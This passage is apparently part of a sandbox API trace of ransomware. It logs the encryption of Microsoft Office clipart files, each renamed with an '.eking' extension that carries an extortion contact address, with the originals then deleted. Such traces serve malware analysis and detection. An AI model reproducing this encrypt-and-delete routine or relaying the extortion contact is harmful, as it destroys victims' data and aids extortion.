Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.640] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1e7c, lpOverlapped=0x0) returned 1 [0191.643] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1e80, lpOverlapped=0x0) returned 1 [0191.644] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.644] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.645] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.645] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1e7c, lpOverlapped=0x0) returned 1 [0191.647] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.650] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.652] CloseHandle (hObject=0x1e8) returned 1 [0191.653] CloseHandle (hObject=0x1b8) returned 1 [0191.655] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0191.656] SetEvent (hEvent=0x174) returned 1 [0191.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.657] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2016) returned 1 [0191.657] CloseHandle (hObject=0x1b8) returned 1 [0191.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0191.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0191.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.658] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.658] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.658] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x7e0, lpOverlapped=0x0) returned 1 [0191.660] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x7f0, lpOverlapped=0x0) returned 1 [0191.661] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.661] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.661] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.661] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x7e0, lpOverlapped=0x0) returned 1 [0191.664] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.672] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.673] CloseHandle (hObject=0x1b8) returned 1 [0191.674] CloseHandle (hObject=0x1e8) returned 1 [0191.675] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0191.676] SetEvent (hEvent=0x174) returned 1 [0191.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.678] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2492) returned 1 [0191.678] CloseHandle (hObject=0x1e8) returned 1 [0191.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0191.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0191.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.678] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.679] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.679] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x9bc, lpOverlapped=0x0) returned 1 [0191.681] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x9c0, lpOverlapped=0x0) returned 1 [0191.682] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.682] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x9bc, lpOverlapped=0x0) returned 1 [0191.684] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.687] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.689] CloseHandle (hObject=0x1e8) returned 1 [0191.689] CloseHandle (hObject=0x1b8) returned 1 [0191.690] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0191.692] SetEvent (hEvent=0x174) returned 1 [0191.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.692] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3348) returned 1 [0191.692] CloseHandle (hObject=0x1b8) returned 1 [0191.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0191.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0191.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.693] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.693] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.693] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xd14, lpOverlapped=0x0) returned 1 [0191.696] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xd20, lpOverlapped=0x0) returned 1 [0191.697] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.697] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.697] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.697] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xd14, lpOverlapped=0x0) returned 1 [0191.699] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.702] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.704] CloseHandle (hObject=0x1b8) returned 1 [0191.705] CloseHandle (hObject=0x1e8) returned 1 [0191.706] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0191.707] SetEvent (hEvent=0x174) returned 1 [0191.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.709] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4296) returned 1 [0191.709] CloseHandle (hObject=0x1e8) returned 1 [0191.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0191.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0191.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.709] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.709] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.710] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x10c8, lpOverlapped=0x0) returned 1 [0191.712] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x10d0, lpOverlapped=0x0) returned 1 [0191.713] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.713] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.713] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.713] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x10c8, lpOverlapped=0x0) returned 1 [0191.724] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.728] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.737] CloseHandle (hObject=0x1e8) returned 1 [0191.738] CloseHandle (hObject=0x1b8) returned 1 [0191.739] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0191.742] SetEvent (hEvent=0x174) returned 1 [0191.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.743] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3228) returned 1 [0191.743] CloseHandle (hObject=0x1b8) returned 1 [0191.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0191.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0191.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.744] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.744] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.746] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xc9c, lpOverlapped=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xca0, lpOverlapped=0x0) returned 1 [0191.752] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.752] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.753] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.753] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc9c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xc9c, lpOverlapped=0x0) returned 1 [0191.756] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.760] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.764] CloseHandle (hObject=0x1b8) returned 1 [0191.765] CloseHandle (hObject=0x1e8) returned 1 [0191.773] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0191.775] SetEvent (hEvent=0x174) returned 1 [0191.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.776] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4808) returned 1 [0191.776] CloseHandle (hObject=0x1e8) returned 1 [0191.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0191.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0191.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.777] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.778] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, 